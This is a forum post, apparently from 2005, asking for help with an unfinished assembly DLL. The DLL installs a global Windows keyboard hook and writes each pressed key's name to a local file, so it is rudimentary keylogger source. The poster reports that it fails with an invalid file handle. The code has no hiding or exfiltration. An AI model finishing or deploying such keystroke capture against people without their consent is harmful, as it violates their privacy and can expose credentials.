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Index > Windows > Trouble in keyboard grabber`s KeyboardProc procedure

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jentos



Joined: 30 Mar 2004
Posts: 8
Location: Russia
jentos
Hi!
I try to write keyboard grabber, but in DLL in KeyboardProc when I write name of pressed key in file I got error - "Invalid handle", in other word function "WriteFile" in KeyboardProc procedure don`t get correct handle of earlier created file (as I think :) ). But, strangest thing :), when I look on this values on debugger, the value returned CreateFile the same as value sent as a handle of file in WriteFile!
Code:
include '%include%\win32axdll.inc'
section '.data' data readable writeable shareable
hInstance       dd ?
hFile           dd ?
bsave           dd ?
hHook           dd ?
;-------------------------------------------------------
;-------------------------------------------------------
section '.code' code readable executable shareable
;-------------------------------------------------------
;-------------------------------------------------------
start:
proc DllEntryPoint,hinstDLL,fdwReason,lpvReserved
             enter
             push     [hinstDLL]
             pop      [hInstance]
             mov      eax,TRUE
             return
;-------------------------------------------------------
; VOID  InstallHook(DWORD hwnd);
proc         InstalMyHook,hwnd         ; Create file for write pressed keys & SetKbdHook
             enter

             invoke    CreateFile,"C:\PressKey.txt",GENERIC_WRITE,FILE_SHARE_READ+FILE_SHARE_WRITE,0,OPEN_ALWAYS,0,0
             cmp       eax,-1
             jz        error
             mov       [hFile],eax

             invoke    SetWindowsHookEx,WH_KEYBOARD,KeyboardProc,[hInstance],0
             or         eax,eax
             jz         error
             mov       [hHook],eax

             return
;-------------------------------------------------------
; VOID  KeyboardProc(DWORD nCode, DWORD wParam, DWORD lParam);
proc         KeyboardProc, nCode, wParam, lParam
             KeyName    rb 20
             KeyLen     dd ?

             enter
             pusha
             invoke     CallNextHookEx,[hHook],[nCode],[wParam],[lParam]
             cmp        [nCode],HC_ACTION
             jnz        KeyboardProcExit
             mov        eax,[lParam]
             shr        eax,16
             and        eax,KF_UP
             jnz        KeyboardProcExit
             lea        eax,[KeyName]
             invoke     GetKeyNameText,[lParam],eax,20
             or         eax,eax
             jz         KeyboardProcExit
             mov        [KeyLen],eax

             call       [GetForegroundWindow]    ; You can see name
             lea        ebx,[KeyName]            ; of pressed key in
             invoke     SetWindowText,eax,ebx    ; title bar foreground window

             invoke     WriteFile,[hFile],ebx,[KeyLen],bsave,0
             or         eax,eax
             jz         error     ;And "appears" error - "Invalid handle"
                                  ;I suppose for CallNextHookEx hHook must be invalid too.
             popa
             xor        eax,eax    ; NULL for pass message to target window
             return
KeyboardProcExit:
             popa
             xor        eax,eax    ; NULL for pass message to target window
             return
;-------------------------------------------------------
; VOID UninstallHook();
proc         UninstalMyHook         ; Uninstall kbd hook & close file
             enter                  ; in this section all work properly
             invoke   UnhookWindowsHookEx,[hHook]
             or       eax,eax
             jz       error
             invoke   CloseHandle,[hFile]
             or       eax,eax
             jz       error
             return
;-------------------------------------------------------
;-------------------------------------------------------
;-------------------------------------------------------
error:      ; invoke MessageBox,0,"Error",0,0   ;- if Windows other 95/98 you maybe can`t see system message about int 3.
             call [GetLastError]
             int 3
.end start
;-------------------------------------------------------
;-------------------------------------------------------
;-------------------------------------------------------
section '.edata' export data readable
  ; functions have to be sorted alphabetically
  export 'MyDll.DLL',\
         InstalMyHook,'InstalMyHook',\
         KeyboardProc,'KeyboardProc',\
         UninstalMyHook ,'UninstalMyHook'
section '.reloc' fixups data discardable    
[/code]


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Post 01 Jun 2005, 13:24
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